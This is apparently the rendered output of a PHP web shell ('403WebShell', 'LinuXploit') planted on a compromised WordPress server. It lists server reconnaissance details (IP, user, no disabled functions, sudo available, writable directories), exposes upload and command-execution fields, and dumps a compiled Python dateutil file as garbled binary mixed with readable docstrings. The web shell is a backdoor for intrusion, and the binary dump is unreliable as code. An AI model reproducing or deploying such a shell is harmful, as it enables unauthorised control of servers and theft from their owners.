Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3/dist-packages/dateutil/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3/dist-packages/dateutil/__pycache__/utils.cpython-312.pyc
�

ӝ�`���8�dZddlmZddlmZmZdd�Zd�Zd�Zy)	zs
This module offers general convenience and utility functions for dealing with
datetimes.

.. versionadded:: 2.7.0
�)�unicode_literals)�datetime�timeNc��tj|�}tj|j�t	d|���S)a
    Returns a :py:class:`datetime` representing the current day at midnight

    :param tzinfo:
        The time zone to attach (also used to determine the current day).

    :return:
        A :py:class:`datetime.datetime` object representing the current day
        at midnight.
    r��tzinfo)r�now�combine�dater)r�dts  �0/usr/lib/python3/dist-packages/dateutil/utils.py�todayr
s2��
���f�	�B����B�G�G�I�t�A�f�'=�>�>�c�B�|j�|S|j|��S)a�
    Sets the ``tzinfo`` parameter on naive datetimes only

    This is useful for example when you are provided a datetime that may have
    either an implicit or explicit time zone, such as when parsing a time zone
    string.

    .. doctest::

        >>> from dateutil.tz import tzoffset
        >>> from dateutil.parser import parse
        >>> from dateutil.utils import default_tzinfo
        >>> dflt_tz = tzoffset("EST", -18000)
        >>> print(default_tzinfo(parse('2014-01-01 12:30 UTC'), dflt_tz))
        2014-01-01 12:30:00+00:00
        >>> print(default_tzinfo(parse('2014-01-01 12:30'), dflt_tz))
        2014-01-01 12:30:00-05:00

    :param dt:
        The datetime on which to replace the time zone

    :param tzinfo:
        The :py:class:`datetime.tzinfo` subclass instance to assign to
        ``dt`` if (and only if) it is naive.

    :return:
        Returns an aware :py:class:`datetime.datetime`.
    r)r�replace)rrs  r
�default_tzinfors$��:
�y�y���	��z�z��z�(�(rc�D�t|�}||z
}||cxkxr|kScS)zn
    Useful for comparing two datetimes that may have a negligible difference
    to be considered equal.
    )�abs)�dt1�dt2�delta�
differences    r
�within_deltar@s.��

��J�E��s��J��6�Z�(�5�(�(�(�(r)N)�__doc__�
__future__rrrrrr�rr
�<module>rs"���(�#�
?�  )�F)r

Youez - 2016 - github.com/yon3zu
LinuXploit